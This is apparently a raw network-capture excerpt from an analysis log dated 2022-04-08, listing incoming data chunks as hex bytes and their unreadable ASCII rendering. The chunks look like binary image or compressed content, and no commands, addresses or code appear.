2022-04-08 08:02:44 UTC6045INData Raw: bf f2 39 35 aa 8b 2e db 23 44 74 92 d9 5a b5 81 92 64 d1 08 1d 41 d8 64 06 59 fc 71 e5 ac 96 df 0b 57 dc 5b 66 5d df b7 ed de e5 77 0e d8 92 68 c0 ed 84 e9 a9 a6 40 91 d3 4f 8e 3a e9 d4 bd bb 26 13 f8 a7 52 60 02 7b 9d f1 1c 2c 51 a9 55 7e e0 15 07 80 35 43 4f 1a e5 8e 9a d3 13 5a be 5b 7f 78 b6 84 1b dd da 58 43 40 04 12 d2 ba 19 6a 4b 7e 12 78 0c b8 79 63 25 8f 1a 7a f8 97 6c 84 1b f6 d7 b7 9d b0 6e 42 06 7c 98 0e 59 79 65 8f 3a f8 eb 3e 19 d0 20 6d 16 c2 26 49 4f 74 93 4a b8 d4 28 3e 5f 01 82 6d 32 b4 f5 1a ec 66 76 f1 65 15 f4 42 c2 da b0 92 b9 ba 67 f0 40 be 78 ea c1 91 d1 ef b7 8b b9 ff 00 ba 46 e8 cb 6d 76 18 76 6b 54 84 c8 42 04 eb 0c 43 19 1a 99 f1 e1 e4 31 17 ea 5e 5b 37 1c ff 00 a4 c8 84 db 70 dd ec 92 56 99 91 06 6c e8 69 55 35 1a 4d 6b a4 00
Data Ascii: 95.#DtZdAdYqW[f]wh@O:&R`{,QU~5COZ[xXC@jK~xyc%zlnB|Yye:> m&IOtJ(>_m2fveBg@xFmvvkTBC1^[7pVliU5Mk
2022-04-08 08:02:44 UTC6053INData Raw: 66 83 87 f3 63 a9 7f 8a 71 2d af 16 b5 0b d9 b3 67 6d dc 8f d1 47 70 ec 1a 46 0b a5 69 cf 80 14 f1 a1 cf 1c 19 71 78 9a 5c 0c 95 cc c8 ee 6f a0 e9 dc 20 0f 22 55 82 46 09 2e 1a b9 16 f4 8a 1a 63 ad d2 8f e0 7a 76 db e5 2e 24 13 fa 85 ed a4 d1 49 05 b1 b7 05 c3 c8 af 4e b1 e1 5e 5f 7e 36 f2 ab 64 d3 b6 ed 21 47 ca 48 64 3b a3 b5 9a dd 38 7a 06 fd 35 03 36 a0 d3 53 e5 d5 f6 63 0b 61 f1 6d 51 f9 8c f7 39 34 e1 de 77 09 e3 12 34 54 a3 f0 6c 8b f1 24 28 fe 38 e4 b6 0a 27 13 ff 00 88 e4 c8 be f7 3e f1 6d 23 47 0d 94 93 28 15 8c a1 a8 24 8c f5 1e 54 cb 1d d8 fa 4c 56 52 ec ab db 25 aa c9 0b bd 96 fb 73 fd 73 77 f4 b3 14 47 ed 36 65 03 65 c4 1e af 9a 98 74 cf 4c 7a 6d de a5 ad df 51 94 84 ed 5e dd b8 d9 ed f5 19 0d e7 27 67 15 34 19 69 a6 32 cd d4 ac af 86 ce c1
Data Ascii: fcq-gmGpFiqx\o "UF.czv.$IN^_~6d!GHd;8z56ScamQ94w4Tl$(8'>m#G($TLVR%sswG6eetLzmQ^'g4i2
2022-04-08 08:02:44 UTC6069INData Raw: c1 94 ac 01 e5 4a b6 9a 6a 7e 9e 58 de 9d 1d e8 e2 cb 6e bf 15 be 0f d9 dd a9 8b a3 16 cd 6b 1f b7 52 60 2f 4b d9 b0 0e a3 4b b4 b1 7c c5 5b 92 e4 7f 9b 06 7b bc ed 78 7c 5c 38 ad 97 e4 5d 54 83 6e f7 fb 88 bf b3 bc d9 a3 79 ed 1c b2 b3 66 68 5c 85 2c da 8e b1 d3 f3 0f dd 8d 70 e3 a6 cb 57 2b 55 b7 fd 7b 23 c2 56 ce d3 7c 6e 49 3c cf 05 bd c7 77 40 0c da 68 c4 02 4a f2 f0 d3 c6 be 18 f3 bc a6 94 b5 b7 d2 42 a9 30 1b bb e9 ee 14 a6 d9 1c 97 32 8a 80 d2 01 18 56 e1 ab ac 12 40 f5 64 38 78 1c 74 53 1a ab 9c 8d 55 7e 5f 14 f7 68 5d b1 42 96 79 ee ef ed 9f 77 5d 3c 91 ed 17 3f 59 0c ef fa cd 15 05 1f d0 fa c9 cc fe 5c 7d 2e 0e af a6 ac 3c 95 d8 ea bc 3b be 9f 8a bb 4e 3a a4 76 9e d6 1e e3 b6 db a3 db ae 21 11 49 1a 94 a9 7c f2 39 10 45 69 f0 39 63 c2 ea fc 8b
Data Ascii: Jj~XnkR`/KK|[{x|\8]Tnyfh\,pW+U{#V|nI<w@hJB02V@d8xtSU~_h]Byw]<?Y\}.<;N:v!I|9Ei9c
2022-04-08 08:02:44 UTC6085INData Raw: b6 87 2f b8 fb 6b 6b 96 eb b1 b8 5e b9 b8 a2 48 0b 05 a0 34 2b d0 d9 e9 e3 a9 80 cb d3 5c 7a f8 ba bc 8a b3 4a ad ba d7 9f fa 97 d9 ef 31 6d 23 7a 28 a0 8d 16 da 2b 96 99 d4 28 66 ee 50 8f c3 aa 94 39 ff 00 2e 3c e6 db 7b 9d 76 fb 0e ba 39 0b 5b 06 b4 8d 9d 65 16 f9 75 c8 68 4e 5c db 51 fd b8 c3 cc dc f8 6e ec 46 59 5d 63 4d 4c 7b 15 b2 17 34 46 69 2e 1c b1 97 ba 03 31 20 00 19 80 a2 e6 29 90 1e ae 38 ee c9 bb 6e ba 55 46 dd ba 2f 61 85 6d 3a 1a 52 5a dc c7 2a dc 6d b1 c3 19 53 57 77 8d 09 20 fa 85 47 56 7f cc b8 e5 57 ab 51 76 df 62 4d fb 0d 1d 4b 92 e2 e6 f4 b4 ed 29 78 50 35 4c 2a 10 1d 39 15 39 d5 ab f9 7e fc 66 eb 5a 69 10 df d5 e2 f6 ff 00 12 0e 6e eb df 2d 0c 6e 97 f6 ef da 0e 34 e4 f1 9d 01 bc 72 a5 38 d3 1e a5 3f c7 cb 5b 1a 98 ee b7 8a 0c 93 86
Data Ascii: /kk^H4+\zJ1m#z(+(fP9.<{v9[euhN\QnFY]cML{4Fi.1 )8nUF/am:RZ*mSWw GVWQvbMK)xP5L*99~fZin-n4r8?[
2022-04-08 08:02:44 UTC6092INData Raw: a8 a5 46 3a 30 e7 be 34 9a 55 d9 5e 0e 3f 7e e3 37 54 53 27 b4 6e a7 96 16 b8 9f 4b 40 75 23 b6 91 27 0a 1a b0 03 50 af 88 e3 8b 5d 6d 52 70 be 2e 2b 5d be e2 2b 44 75 09 0b 5c 74 3a c6 c8 4f 51 8f 89 3f b3 1e 4b b6 dd 54 fb 4d 5c 15 c9 b7 15 7e e4 6e 16 30 29 40 49 5c 87 03 4c b2 f8 62 96 5d 21 f1 21 24 0f 25 a5 a4 d2 bf 79 f5 ca 3d 40 d0 52 bc f3 e5 8d 15 ec 92 8e 07 3d d2 e4 34 52 db ed 91 84 ef 4f 1a d0 85 d4 ba f4 fc 0d 29 4f 0c 36 ad 91 cc 55 ff 00 a4 2b 78 0f 8e 5b 8b 94 3f 4d 29 d4 1b d5 a0 1a 8f 81 e9 18 e7 75 55 f8 97 b2 4e 87 5d 25 8c d0 98 63 d6 e5 98 82 4b 30 d5 99 34 20 01 cc 71 c0 ad 2e 10 ab 64 ca a7 b6 12 4e 1c 4d 32 3d 6a 15 5b 26 a7 2d 3f c2 9f cd 8b ad a1 70 ab f6 7e 25 c2 21 b8 d8 cb 32 56 d1 44 37 64 9d 2e cb ad c7 c0 d3 ef 18 ac 59
Data Ascii: F:04U^?~7TS'nK@u#'P]mRp.+]+Du\t:OQ?KTM\~n0)@I\Lb]!!$%y=@R=4RO)O6U+x[?M)uUN]%cK04 q.dNM2=j[&-?p~%!2VD7d.Y
2022-04-08 08:02:44 UTC6100INData Raw: f1 cd 1f cd b6 af 7e fe e7 f8 7d e0 92 5c 4e c2 5d e2 2b 65 54 bd 68 92 e4 95 0c 8a f4 56 24 d7 a4 7c b5 e1 d5 d3 8f 11 60 76 d6 b2 eb ae b1 aa fd a5 bb 4a 39 cd e3 dd 1b be d9 30 fe 9f 01 99 dc 17 aa 80 c9 91 a0 51 4c ff 00 ea 2d f9 71 ea 60 e9 31 e4 5e 37 b7 97 65 bd 66 30 17 61 ee ad d2 e2 75 b5 bb 86 4b 63 22 2b 24 9d a2 54 b5 2a 43 50 65 ab f0 f1 c6 19 3a 3c 75 5b aa d5 a1 ea a4 aa 9b 56 56 64 21 85 9a a3 a9 99 5d 83 13 52 49 26 9c 2a 49 cb f6 63 83 25 f5 9f bb 43 b2 97 da 01 bf 16 68 12 3b 7d 31 3c 40 b2 2a 95 a6 7d 3a 89 e3 a4 d4 af 48 c7 4f 4f c5 bb 6b 3c 78 fa e3 d7 cf 53 9a cd b6 65 cb bf d9 de dd 7f 4f 43 3c 33 05 59 04 91 29 d3 ab c1 b2 26 8b cf c7 1d 8b a6 b5 2b bd ed b2 d5 6d b7 18 12 c6 cd 16 8f 7c 90 2a c6 d1 84 a1 f9 a8 cc 7f 19 a0 d4 3f
Data Ascii: ~}\N]+eThV$|`vJ90QL-q`1^7ef0auKc"+$T*CPe:<u[VVd!]RI&*Ic%Ch;}1<@*}:HOOk<xSeOC<3Y)&+m|*?
2022-04-08 08:02:44 UTC6116INData Raw: 21 a9 0a 73 20 ea 1e 1e 58 e5 cd 9a 8b 5c 4d d5 3e 4f b4 ba 63 4b 8b 36 a3 b7 83 6d 8c 2c 7a 63 56 60 a8 ab c2 a7 80 cf 81 38 f3 9d 9e 47 ae a5 ee 4b 41 dd 6e 28 18 90 d9 f8 95 1f f4 fa 80 f0 e7 cf 02 8f 4d 7e f1 ec 4f 81 85 bb ec 17 fb bc a9 27 d5 3c 5a 08 28 a9 40 07 3f 00 41 3e 35 c7 a1 87 a9 a6 24 d6 d4 e7 8c 98 bc 45 f6 e6 5d a1 4d c5 e8 92 79 28 75 bc 6a e4 1a 66 32 63 42 df ca bd 58 ce d1 97 c3 58 af 73 8f 4f 78 ac a0 23 6f de 06 ed 29 89 12 58 58 80 ca 24 46 04 ab 03 43 40 28 2b f8 75 1a 7c d8 9c 9d 3f 95 c5 a7 de 99 b6 37 da 5f fd 3b 71 8d 81 92 51 2c 1a 74 94 ed 8e 07 e5 3c eb e7 cf 05 ad 8d 2d 38 fa d9 7b 6a b9 99 f7 52 ec d6 b7 90 d8 dc 43 17 7e 40 da 1b 42 e4 7f 07 02 75 37 1c 55 16 5b 55 de ad c2 ef 7e ff 00 52 39 ed 6a a7 06 e2 84 d0 53 a1
Data Ascii: !s X\M>OcK6m,zcV`8GKAn(M~O'<Z(@?A>5$E]My(ujf2cBXXsOx#o)XX$FC@(+u|?7_;qQ,t<-8{jRC~@Bu7U[U~R9jS
2022-04-08 08:02:44 UTC6132INData Raw: ab c3 fe 9e 64 43 66 a5 e4 88 e7 b2 81 64 6c aa 1a a6 a4 67 5e 86 e5 c7 3c 72 51 35 ab d3 d3 bd 19 59 00 ed db 0d a2 c7 2d ad c0 5e d4 84 97 ac 84 91 a8 92 72 d5 d0 ad a4 9c 87 db 8e 8c bd 45 a5 59 71 5c 34 fd de 28 11 9f b9 5d 6d 5b 1d 91 b9 d0 66 b3 8d c9 46 66 ff 00 e4 6e 2d 42 b9 d0 50 0a 7d f8 e9 c5 4c 99 ad b6 76 d9 f1 5f 97 de 54 1c 65 87 b8 ad bd dc 60 b5 fa 85 b3 dc 44 85 96 5a 74 80 33 64 23 83 74 70 38 f7 72 74 b6 e9 66 d1 be 91 f0 f3 fd 5e f2 5d 7b 0e 93 7a d9 a7 dc 61 07 ba b7 71 2e 96 0c 94 2d a9 3d 21 29 a7 99 cc 1f e1 8f 2f 06 75 8d f0 d8 fb f8 6b c7 77 11 44 1b 37 7e db fe a3 69 a2 79 83 4d a7 4c 5d f5 14 8d a9 98 5f 2f 3c 70 d3 aa f2 ed 29 69 f3 6d f9 bd 62 4e 0c 7d 9a 0f fc 5a 19 ef 6f 2e d2 e2 22 02 28 8a a1 5b 4f 4b 97 a8 61 ab fc 78
Data Ascii: dCfdlg^<rQ5Y-^rEYq\4(]m[fFfn-BP}Lv_Te`DZt3d#tp8rtf^]{zaq.-=!)/ukwD7~iyML]_/<p)imbN}Zo."([OKax
2022-04-08 08:02:44 UTC6140INData Raw: 65 ea f1 7d 86 3c 78 95 49 bb 5d 59 33 c7 71 20 66 87 a9 ae 19 42 2b 03 c5 02 0f c1 f7 b7 8a f3 b5 86 b7 87 55 f1 7c 93 b9 fa f7 77 99 5f 43 96 ba f7 0f d6 d0 5e c6 03 2b 17 49 96 44 35 00 d5 64 0a 7a 5a 35 f0 6e 38 f5 e9 d3 6c f8 1f 73 ab 4f db 59 fa 8c b6 b7 a8 66 df 6e 37 45 36 b1 5f 11 f4 ac 08 ed 05 5c c0 d2 48 a7 4b a9 fe 66 4f 0c 65 96 de 53 97 5f 8b ea 9b 7f 07 f6 9d b8 6b da 74 ed 67 1c b1 a2 92 64 28 6a ba 99 94 0e 59 8e 18 f2 55 9c e9 a4 fa 8f 41 51 10 79 e1 b6 63 6f 15 bb bc 67 49 66 0a 19 6a 4d 38 71 24 71 c0 aa ed ab b2 39 af 57 25 ae ed 04 61 d0 48 7e 52 10 28 a0 f1 03 4f ab ee c4 25 2e 1c 7b 7f 89 83 c7 3c 0a 23 b4 b5 23 bd 4a ca 79 cf 93 54 78 f0 27 fc 65 8d 1d ed c3 97 e4 25 e3 68 8b 59 5b 5f db ea 9b b3 32 f3 0a ad 40 c3 8e 95 39 0f dd
Data Ascii: e}<xI]Y3q fB+U|w_C^+ID5dzZ5n8lsOYfn7E6_\HKfOeS_ktgd(jYUAQycogIfjM8q$q9W%aH~R(O%.{<##JyTx'e%hY[_2@9
2022-04-08 08:02:44 UTC6156INData Raw: 7c c6 8c 14 da fb 7e 12 44 f6 f1 2c 73 2b 87 6a 08 f5 31 04 e9 a2 e9 02 aa 38 fe 1f 9a b8 d7 7e 67 c1 bd 22 3e 68 5d be f1 49 9b bb ef 5b 76 ca 90 59 59 20 86 d8 01 58 d5 01 03 2f 94 02 3a bc 7e c7 38 eb c3 82 f9 5b b5 de eb 76 cf df dd fc 08 4c 1e 2d de 0d 92 2d 51 5c 47 75 4c e3 8d 63 0a d5 2b ab a3 4d 00 d4 c7 37 fc 5e af 0c 68 f0 bc cf 54 e9 da e7 4e 3f 37 fd 44 9c 95 43 ef 2a 5e 37 75 7b 64 b2 99 15 85 34 c6 17 36 24 11 cc ae 5e af c3 c7 17 6e 87 c3 a6 bf 4f 7d a7 87 a7 b4 b3 6c 7b 96 c6 1b f9 a2 9f b8 22 d0 8e 83 4b 1a f0 2c 03 71 5e 23 5e a0 8b 41 9e 38 3f b5 bb a2 6a 26 5a 7c 3d 9f f8 f1 64 49 11 3d b8 93 fe cc 9d 0f 09 76 93 55 54 77 1b 2e 9f c2 05 7a e8 70 f6 b8 f1 72 b4 6d e7 e1 5d bd bf 94 24 e7 65 f7 8c db 2d ed 2e 8b 7d 3b 06 51 20 45 ac 88
Data Ascii: |~D,s+j18~g">h]I[vYY X/:~8[vL--Q\GuLc+M7^hTN?7DC*^7u{d46$^nO}l{"K,q^#^A8?j&Z|=dI=vUTw.zprm]$e-.};Q E
2022-04-08 08:02:44 UTC6172INData Raw: 2b 96 8c 7a f4 c5 81 5a 6e 9d 7f fe 1c 7e 3c 3f a7 da 63 06 85 be fb bf a5 b0 9e 74 45 b8 55 45 6d 47 5a 1a 00 b5 57 52 0a 97 39 9a e3 9a fd 3e 17 68 53 b7 5e eb 7f 4b fa 4d 76 c8 43 6f 5b 85 ba 03 1d aa 49 34 ac 0b 30 a5 51 47 a9 49 3e 3f 2d 31 92 c1 4b 3d 6c d2 5f 6b 36 4e d1 04 95 37 4d ba 1d 1b 5d ac 5a 24 60 cf dd 9d 89 05 b3 71 4e 7e 41 70 6e c7 77 39 2c f4 d3 c3 5f e9 f4 65 5a ee ba 9b 13 5d b5 a4 41 a3 b5 69 a6 72 2a 0e a7 55 cb 3a 65 4c b8 63 85 57 7b 87 68 aa f5 21 2c 96 b1 54 f6 fb ae e7 1f 6d dd e2 5e 25 63 24 31 a7 0a 39 a1 fe 18 aa db 1e 37 29 4f af fe a0 eb 20 57 5b 5c f3 ba 69 33 45 2a 1a e9 ea ad 40 c8 9c f4 33 7f 29 c7 55 2f b7 8a 4d 3f 4f d5 01 e5 33 91 8f d8 5b d4 a1 e3 9e ed 91 fb 85 cc e4 b1 6f 25 2a b4 a7 db e9 e5 9e 3d 7b 7f 91 c4
Data Ascii: +zZn~<?ctEUEmGZWR9>hS^KMvCo[I40QGI>?-1K=l_k6N7M]Z$`qN~Apnw9,_eZ]Air*U:eLcW{h!,Tm^%c$197)O W[\i3E*@3)U/M?O3[o%*={
2022-04-08 08:02:44 UTC6180INData Raw: ee 1b 7d 3f 71 d3 5a c2 27 35 bd 96 e1 09 89 2e 04 33 5c 75 23 16 eb 24 fe 60 32 39 50 7f cb 89 ad ad 47 31 b9 57 8f d3 ee 3b 9b 51 07 99 cf fd a0 df a4 dc 3b 97 17 a0 a1 24 ab 9d 7a 94 56 b9 9e 04 52 ba 85 73 c7 d5 d7 fc de 15 48 ad 7d 9a 6a 72 5a 91 a9 dd da ec 9b 4e d5 75 0a cf 3c b7 52 35 02 23 75 20 a0 ff 00 71 d4 8f b5 59 b5 69 f4 ae 3e 7a fd 46 4c 95 70 95 3b 7e af d3 5f dd 07 33 6d 81 6e 12 5f 49 6b 25 fe cf 66 ad 23 36 89 04 a4 80 c9 c8 47 9a a6 9a f5 1a f1 3e 3c 31 be 25 45 65 4c b6 d2 25 6d e5 6f cd c6 d2 25 5e d3 6a d3 70 ba b4 8a 38 6f 47 65 dc aa 2a 46 51 b4 d4 56 8d a3 48 04 91 97 2f 3c 70 5f 15 6c db a7 8b 9c b9 d7 d5 21 a7 23 40 34 c2 39 1e 59 16 25 08 74 b8 ab 1a 93 4c 85 7f c3 63 9a 14 a4 94 f7 1a 49 85 bb 5e 6e 1b 4f fd ed b5 db dd c0
Data Ascii: }?qZ'5.3\u#$`29PG1W;Q;$zVRsH}jrZNu<R5#u qYi>zFLp;~_3mn_Ik%f#6G><1%EeL%mo%^jp8oGe*FQVH/<p_l!#@49Y%tLcI^nO
2022-04-08 08:02:44 UTC6196INData Raw: d8 a1 17 db d1 b6 37 ac 46 96 84 12 57 3c 94 9a 02 4d 32 06 bc 2b 8a a7 4f e6 3d 98 e7 6f 7b 38 b2 d3 6f 03 a6 b4 de ad 7b 4f 35 a4 a7 49 a3 16 20 b2 82 e2 88 b5 3e 0d 42 40 2b a7 e6 c7 8d 6c 16 4d 2b 2f f8 bf 0f 16 73 2b 43 24 91 6e f7 b2 98 d3 71 26 43 92 45 6d 6c 4b 12 38 e8 cf a8 9a 7e 6d 29 9e 37 ab a5 b4 f2 f7 77 da c7 a5 5b 2b 1d 6d 9f f6 db de 17 30 23 ed 56 d3 c8 cc 85 c5 c5 c5 42 1a 0e 65 80 5e 3e 1e ae 14 c7 4d 7a 7b 64 f9 1d 6a fd 9a 1b ed 76 50 8e 52 3d e5 ec 67 3b 6d fe e1 6d 2e e6 80 a3 c5 90 1a c5 7a 43 03 ea f2 39 57 1c d6 e9 ed 47 ba b4 b5 6b 3c 78 98 2b 3a b8 07 9a cf 70 b9 b9 48 d2 78 8b 1e a3 18 50 c5 80 1f 8d 6b 4d 1f 8b 11 e6 d1 27 66 9f ea 98 ff 00 4f 79 39 2b 3a 98 c7 d9 db bd dd d3 5d 77 e0 37 25 d8 92 8c 5d 0c 40 74 86 8b a6 ae
Data Ascii: 7FW<M2+O=o{8o{O5I >B@+lM+/s+C$nq&CEmlK8~m)7w[+m0#VBe^>Mz{djvPR=g;mm.zC9WGk<x+:pHxPkM'fOy9+:]w7%]@t
2022-04-08 08:02:44 UTC6212INData Raw: 95 e8 ba 56 4d 6a 34 8f d9 8d d6 64 d6 dd 2b 1d db 78 95 b9 30 0d fd e4 d9 2d 7e be e1 34 97 05 11 a9 92 16 19 55 98 65 5f cb 8e 9e 99 2c d6 d8 9f 0d 5f 7c 77 1c f9 16 ee 07 37 ed cf ee 44 b7 48 9b 72 b2 42 ec c0 76 ca e4 49 1e a5 6a f0 e9 e1 8f 53 aa ff 00 16 aa dd f5 b7 7c 93 8a 9a ea 76 f1 c3 73 7a ed 29 4d 35 15 60 1c 00 7c 48 ce a3 ec c7 85 7b d6 ba 7e 07 56 6b 42 80 05 bb 86 0b 88 e6 bd 92 74 81 2a 49 03 25 e4 56 9c 58 9c 6e e8 da 6a aa b2 72 aa b5 c0 b5 e6 b4 dd 23 d1 61 ad ed 88 23 55 08 3c 78 83 c4 78 62 55 6f 8d f8 be 23 ba 89 b5 a9 8b 0f b3 54 5d b5 f7 76 59 55 89 d6 94 d3 a4 57 8a 95 f4 b0 f1 f8 e3 be fd 6c 57 64 25 d8 ff 00 69 cb 92 8a a6 f4 17 7b 3c a8 05 b3 1d 0a 3a 84 55 20 72 e2 4f 0c 79 b6 a6 44 fc 5f ea 1e 3b be 65 bd 9d bf 37 b7 62 b7
Data Ascii: VMj4d+x0-~4Ue_,_|w7DHrBvIjS|vsz)M5`|H{~VkBt*I%VXnjr#a#U<xxbUo#T]vYUWlWd%i{<:U rOyD_;e7b
2022-04-08 08:02:44 UTC6220INData Raw: 23 ba ab 42 83 b0 5b bd d0 bd ab 3b a9 c8 19 08 51 e1 90 fd d8 ec dc d5 76 e9 ee 1e d4 1b 75 bb 5b ed 28 66 b8 99 2a 54 d3 2a 8a f8 fc 06 3c ef ed ed 77 09 1c 7d 44 ae 06 2c 37 b7 32 4a db 9c d2 44 b6 a2 8c 80 3e a5 91 a9 91 6a 0c 97 2a d6 bd 38 eb b6 3a a5 e5 a4 f7 73 d3 5a a3 c8 6e 0d cb 5b 98 77 af d4 86 59 e4 42 73 75 50 16 87 c4 2f 15 f8 e3 cf bd 1e 2d 1a aa ee fe 27 7e 1b 94 dc 6c 92 6d b2 ac 71 dc cd 0c 0a 0b ac 71 00 4d 4d 07 51 24 fd d8 d2 bd 42 c8 a5 d5 59 f0 9b 7e 01 6c b1 c0 07 71 b7 b8 b9 9e 58 77 2b 95 3b 34 a4 07 40 0d 74 81 5e 55 21 eb c5 bc 31 d1 8a d5 aa 4e 95 ff 00 ea b8 7a ff 00 ea 6e b5 52 67 6d 9b 1e c9 67 70 67 db ac e3 d2 83 42 cc d2 33 6a f1 28 1b 31 4f c5 8e cc 9d 46 5b 28 bd b8 fc b0 b4 f5 c1 b6 1a f3 66 c1 b6 b4 ba 99 1e 43 22
Data Ascii: #B[;Qvu[(f*T*<w}D,72JD>j*8:sZn[wYBsuP/-'~lmqqMMQ$BY~lqXw+;4@t^U!1NznRgmgpgB3j(1OF[(fC"
2022-04-08 08:02:44 UTC6228INData Raw: bf 7e 33 b3 cd 55 55 5d 2a d7 66 fd a7 97 2c 8d 9f b4 2e 20 89 af 21 ef 4f 0c cc 25 8d ea 1b 22 38 13 4d 5f 1a 71 c5 64 eb 6a de d7 15 75 f0 b4 7a 14 84 b8 9a b7 56 4d b7 44 b1 4b b8 2d 8b 35 1e 81 55 59 43 7c bd 47 4e 93 4f 8e 38 e9 91 64 72 a9 e6 72 e6 c9 6d 72 52 53 79 bc 6c 16 f0 cf 74 d3 7d 63 45 91 58 db 3d 47 21 92 9a 53 fc 57 17 4c 19 ac d5 63 cb dd f5 76 13 ba de a0 9b 09 6d b7 f5 1b c4 11 ea 8a 31 ab 5c aa a3 b6 07 20 5b 32 7e 5c 2c 8e d8 67 1d 9f 89 e9 e1 6f c4 74 6f d3 5e 27 9f ef 3f dc 74 7d f2 34 b4 91 52 4d 5d cd 4b 53 d9 5a 1d 49 4c 94 9e 6d f7 63 e8 30 7f 8b 8c 4f 72 9e 5f af b2 dd a7 13 4c e9 6d fd f1 3d fd a2 3e dd 6c f7 31 48 74 c9 2c 80 28 ad 7d 5a 40 1d 3c ff 00 7e 3c ab 7f 8f 54 b3 df 65 46 b8 55 6a 6f 07 95 7b 8f 76 dd ec 6e 6e 26
Data Ascii: ~3UU]*f,. !O%"8M_qdjuzVMDK-5UYC|GNO8drrmrRSylt}cEX=G!SWLcvm1\ [2~\,goto^'?t}4RM]KSZILmc0Or_Lm=>l1Ht,(}Z@<~<TeFUjo{vnn&
2022-04-08 08:02:44 UTC6244INData Raw: be e3 b7 7b be cf 6e dc c5 c2 4f 72 50 5b 5d c7 a4 86 8d 92 99 b1 a9 07 5f a8 53 f3 78 e2 af 8e 1c a3 2b d9 c1 b9 b6 58 43 6f 67 6b 6b 25 af 7a 6b 75 0d 0b 69 ab 75 50 d4 91 ea 3e ae 3e 1f 1c 7e 7d d4 e5 b5 ec f6 59 ed 6e 2c 8f 07 2e 76 dc 23 d5 6c 37 1b 94 f6 95 e2 d8 ce f6 d7 10 5a 4d 73 a5 05 6a 4b 69 ab 1c e9 92 f4 b7 9e 58 fa 3f f0 8a 31 c3 ef 3d 2c 1a 51 33 e6 dd 9b df 37 9b cd b4 b0 dc 02 b7 27 57 56 b2 49 a9 f3 f1 c7 bd 6a aa d8 e8 77 70 1b 6d ee c9 ed 6d 5e cc 7f b7 a8 32 13 c8 93 d5 f6 9d 23 0d ad 64 4a c7 a0 ff 00 6f 3f b9 53 59 b9 db e7 9b 40 94 10 8c 73 08 c4 00 19 47 8e 58 e6 bd 23 54 6b 4b 4e 87 57 ed 7f 77 41 ed db 53 61 3c a0 ce ac cc 65 84 8d 0e 3f 16 93 f3 1c ab e5 8c 66 1c 9b 49 7f bf 7f bb f2 6c d1 c6 f0 b8 0b 35 10 96 cc 12 00 6a d3
Data Ascii: {nOrP[]_Sx+XCogkk%zkuiuP>>~}Yn,.v#l7ZMsjKiX?1=,Q37'WVIjwpmm^2#dJo?SY@sGX#TkKNWwASa<e?fIl5j
2022-04-08 08:02:44 UTC6260INData Raw: 44 a2 31 9d 50 80 78 51 47 56 59 7f e9 87 35 aa e3 af 7f da 5c 97 a8 8e 4b 2e ec d1 f7 49 27 4a 01 91 e4 0d 72 a6 78 ce 5a bc 27 1d e3 56 2d b6 93 b3 1b b4 ca d0 ce 18 66 aa 59 42 8e 01 47 ed f8 e0 6f 92 d5 3e f8 65 2c 86 7c c2 54 8c df 38 69 51 0e 9a 2d 14 d4 f9 13 a8 7f c7 1b a6 9b db c2 48 b3 21 79 60 65 82 1b 75 6d 73 28 5d 55 34 c9 fe 3c d2 95 fd d8 da b7 ad 66 c5 83 c9 68 2e 67 6b 17 94 c5 74 a0 2c 65 0e 6e c0 12 0f da 07 8e 12 be d5 be 26 bc fb 89 33 a0 f6 5c 76 e5 af 2e 6e a5 79 90 83 2a 86 34 c8 67 90 ca ac 78 91 f2 fd f8 ea b7 5e ed e1 ad 52 4f e1 f4 ee 24 e8 df 6f 8a 58 04 6f 2b 57 22 ab 5a 50 1c 89 5f 88 c7 98 b2 b4 f8 1a 69 05 ab 6f 05 c7 ea b8 55 9c 02 15 d9 49 14 e1 cc f1 ff 00 d7 19 ee 75 d1 70 ec 25 b2 c4 b0 48 5a 33 23 eb eb 08 ba 6a 01
Data Ascii: D1PxQGVY5\K.I'JrxZ'V-fYBGo>e,|T8iQ-H!y`eums(]U4<fh.gkt,en&3\v.ny*4gx^RO$oXo+W"ZP_ioUIup%HZ3#j
2022-04-08 08:02:44 UTC6267INData Raw: d1 39 09 16 42 54 3f 5f 70 52 16 20 05 f0 15 e9 19 9a 67 97 f1 c6 58 9d 5b d3 48 e7 c7 70 dd a3 81 4d b2 dd c7 de b6 5f d4 12 54 a4 8e 68 63 60 d9 a6 b1 cb 20 3e dc 5c d6 d1 c1 7e 3f 98 d5 41 06 f6 d1 b9 a8 49 84 76 d5 66 91 09 ab b3 1a 82 13 23 55 cf 8e 2b 1e 65 ab 7f 12 f8 7d 3b 42 07 db a0 b2 d8 8c d7 10 96 ba b6 21 44 6a 01 ae 5c 4f 8e a0 7f 75 31 39 6c f2 35 57 a7 6b e0 43 10 d9 64 b9 9a 2d ca 6d 0b 22 46 cd 12 46 c4 15 62 72 0c 82 84 35 3d 4b 9e 67 03 cb e5 78 2a e7 74 4b d2 df ea 33 55 86 67 ed ef 7d b4 df 49 38 82 55 87 56 b6 95 0d 50 12 de 92 8d 4a d7 56 4c 71 d1 6b 2b 25 0d 6e e5 58 f1 70 e3 24 c1 a9 75 63 6d 0c ed 3b 23 d9 dd 19 15 99 4c ba db 23 56 61 e0 ba 79 63 15 9d 64 84 b5 a4 71 37 af 12 cd c4 a5 dd f2 40 cc 55 6e 15 88 0c 4a d1 d4 51 a9
Data Ascii: 9BT?_pR gX[HpM_Thc` >\~?AIvf#U+e};B!Dj\Ou19l5WkCd-m"FFbr5=Kgx*tK3Ug}I8UVPJVLqk+%nXp$ucm;#L#Vaycdq7@UnJQ
2022-04-08 08:02:44 UTC6283INData Raw: 49 0a 4c c7 b3 0c 88 9a 42 d1 6b fa 94 6f 11 af 57 51 f4 a9 c6 d7 ea 2b 92 da ae 2f f7 7d c0 fc 41 3b 2e d8 67 91 23 ba 60 34 4a 02 2c 75 75 35 e7 d3 ea 34 ff 00 51 e5 a7 18 64 b4 b8 af cc b8 f3 08 93 40 ed 9d fb 89 3b 86 14 ba b7 1a 10 95 a8 ed 9a f0 5a 51 ca 81 d3 f8 0f 1c 63 7b ba 69 ab 5c ff 00 57 e0 43 46 7d a5 d5 fc 50 2e db 04 ca 42 ca 54 b9 14 5e d9 a2 b5 09 20 2a d7 ab 2f f5 65 8e bf 89 cb 95 2b 84 f3 e2 38 91 ee 37 6b ab db 87 b3 32 43 1c 71 47 a9 5a 8d d4 58 6b 3d bf 49 ea 5c 95 88 0b e6 30 bc 84 bc 4f 9f a2 90 03 3b d3 44 8b 3c 6d 1b ad 0a 38 64 5d 2a d9 03 52 b5 d4 e7 97 ca 3e 2d 85 e4 6e 70 e5 73 51 3c 3f ea 4c 1a cb bc cb 3c 2c b6 90 33 bc da 53 52 32 9d 5c 59 63 a5 2a ad c3 59 cf 35 d3 8c d5 23 46 ff 00 a9 7d 